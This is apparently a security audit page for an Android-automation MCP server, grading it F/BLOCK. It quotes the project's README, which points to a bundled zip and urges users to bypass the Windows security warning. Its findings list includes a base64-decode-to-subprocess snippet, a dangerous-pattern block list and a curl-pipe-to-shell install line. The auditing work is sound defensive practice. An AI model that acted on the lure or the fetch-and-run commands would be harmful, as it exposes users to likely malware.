android-agentBLOCK
Control Android devices through ADB with this Python automation framework for task execution and phone farm scaling.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/Dynaevangelical2652/android-agent/main/frontend/src/assets/agent-android-v1.7.zip)
Android-agent helps you manage your phone through your computer. You use your mouse and keyboard to perform tasks on your device. The software bridges the gap between your Windows desktop and your Android phone. It makes repetitive tasks easy by automating screen touches, swipes, and text entry.
📋 What This Tool Does
You store your mobile apps and data on your phone. This tool lets you reach those items from your desk. You connect your phone, pick a task, and let the software work. It includes a dashboard that shows your phone screen in real time. You can monitor your device status, manage files, and run scripts to handle complex workflows without manual input.
⚙️ System Requirements
Before you start, check your computer and phone.
- Operating System: Windows 10 or Windows 11.
- Memory: At least 4 gigabytes of RAM.
- Storage: 500 megabytes of free space.
- Hardware: A USB cable to connect your phone.
- Phone Settings: Enable Developer Options and USB Debugging in your Android settings menu.
📥 How to Download and Install
- Visit the project website. Click the link below to go to the releases page.
- Look for the file named
android-agent-setup.exeunder the latest release section. - Click the file name to start the download.
- Save the file to your desktop for easy access.
- Double-click the file once the download finishes.
- Follow the on-screen prompts. Windows may show a security notice because the app is new. Click More Info and then Run Anyway to proceed.
- The installer places a shortcut on your desktop.
🔌 Connecting
97ff689f346bOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add site --env ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} --env GITHUB_TOKEN=${GITHUB_TOKEN} --env OPENROUTER_API_KEY=${OPENROUTER_API_KEY} -- npx -y [email protected]{
"mcpServers": {
"site": {
"command": "npx",
"args": [
"-y",
"[email protected]"
],
"env": {
"ANTHROPIC_API_KEY": "${ANTHROPIC_API_KEY}",
"GITHUB_TOKEN": "${GITHUB_TOKEN}",
"OPENROUTER_API_KEY": "${OPENROUTER_API_KEY}"
}
}
}
}Exposed tools (35)
30 read · 5 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
classify_screen | read | Classify the current screen: what app, what type of screen (home, search, profile, |
clipboard_get | read | Get the current clipboard text from the device. |
clipboard_set | write | Set clipboard text on the device. Use with press_key(PASTE) to paste into fields. |
create_skill | write | Create a new reusable skill from a JSON list of recorded steps. |
explore_app | read | Explore an Android app |
find_on_screen | read | Find specific text on the screen and return its location. |
get_elements | read | Get all UI elements on the current screen as a JSON array. |
get_notifications | read | Get active notifications. Returns JSON array of {package, title, text}. |
get_phone_state | read | Get current app, activity, keyboard state, and focused element. |
get_screen_tree | read | Get an LLM-friendly indented UI hierarchy of the current screen. |
get_screen_xml | read | Get the raw UI XML dump from the device (uiautomator). |
launch_app | read | Launch an Android app by package name. Use search_apps() to find the package name. |
launch_intent | read | Launch a full Android intent. More powerful than launch_app(). |
list_apps | read | List all installed apps with human-readable names and package names. |
list_devices | read | List all connected Android devices with serial numbers and models. |
list_skills | read | List all installed Android automation skills with their actions and workflows. |
long_press | read | Long press at coordinates. Use for context menus, drag initiation, etc. |
ocr_region | read | OCR a specific region of the screen. Coordinates in device pixels. |
ocr_screen | read | OCR the entire device screen using RapidOCR. Returns all visible text with positions. |
open_notifications | read | Pull down the notification shade. |
press_back | read | Press the Android Back button. |
press_home | read | Press the Android Home button. Returns to home screen. |
press_key | write | Send a key event. key examples: POWER, VOLUME_UP, VOLUME_DOWN, ENTER, TAB, MENU. |
run_action | write | Run a single skill action on the device. |
run_workflow | write | Run an installed skill workflow on the device. |
screenshot | read | Take a screenshot of the device screen. Returns base64-encoded PNG. |
screenshot_annotated | read | Take a screenshot with numbered element labels overlaid on interactive elements. |
screenshot_cropped | read | Take a screenshot of a specific region of the screen. |
search_apps | read | Search installed apps by name. Case-insensitive. Returns matching apps with package names. |
swipe | read | Swipe from (x1,y1) to (x2,y2). Use for scrolling, pulling down notifications, etc. |
tap | read | Tap at exact pixel coordinates (x, y) on the device screen. |
tap_element | read | Tap a UI element by its index from get_elements(). |
toggle_overlay | read | Toggle the numbered element overlay on the device screen. |
type_text | read | Type ASCII text into the currently focused input field. |
type_unicode | read | Type unicode text (emoji, CJK, accented chars) via ADBKeyboard broadcast. |
Trust audit
BLOCKgrade F · trust 50/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | WARN |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (5 observation(s))
- Network
- declared (5 observation(s))
- Shell
- declared (8 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (23)
b64decode( ... subprocess.
DANGEROUS_PATTERNS = ["os.system(", "eval(", "exec(", "subprocess.call(", "__import__"]DANGEROUS_PATTERNS = ["os.system(", "eval(", "exec(", "subprocess.call(", "__import__"]agent-android-v1.7.zip
gradle-wrapper.jar
mod = importlib.import_module(f"gitd.skills.{d.name}")mod = importlib.import_module(SUITES[suite]["module"])
mod = importlib.import_module(f"gitd.skills.{name}")mod = importlib.import_module(f'gitd.skills.{args.skill}')params["callbackUrl"] = f"http://127.0.0.1:{server_port}/api/phone/webrtc-callback/{device}"<p style="color:var(--text-3);max-width:400px;font-size:0.9rem;
return base + int(hashlib.md5(serial.encode()).hexdigest()[:3], 16) % 1000
return 19000 + int(hashlib.md5(serial.encode()).hexdigest()[:3], 16) % 1000
return 19000 + int(hashlib.md5(serial.encode()).hexdigest()[:3], 16) % 1000
return hashlib.md5(sig.encode()).hexdigest()[:12]
return hashlib.md5(xml_str.encode()).hexdigest()[:12]
png_data = _b64.b64decode(j["result"])
return base64.b64decode(inner[2])
pinia, vue, vue-router, @tailwindcss/vite, @tsconfig/node24, @types/node, @vitejs/plugin-vue, @vue/tsconfig
@astrojs/starlight, astro, sharp
site/public/demo/amazon.mp4
site/public/demo/reddit.mp4
# or: curl -fsSL https://ollama.com/install.sh | sh # Linux
Gates applied: critical_finding, no_behavioural_pass.
97ff689f346bfull audit observations/trust-audit/mcp-server/dynaevangelical2652__android-agent.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 97ff689f346b | BLOCK | F | 50 | first audit |
Questions
What is the android-agent MCP server?
Control Android devices through ADB with this Python automation framework for task execution and phone farm scaling.
What tools does android-agent expose?
35 in total: 30 read-only, 5 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is android-agent safe to connect to an agent?
No — not without reading the findings first. The audit graded it F (50/100) and found 3 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does android-agent need?
It reads ANTHROPIC_API_KEY, GITHUB_TOKEN and OPENROUTER_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does android-agent run?
It speaks streamable-http, so it runs as a service you connect to over the network. It is published on npm as site at 0.0.1.
How current is this page?
The grade is for one exact copy of the source (97ff689f346b), read on 2026-10-11. The repository is watched and re-audited when it changes.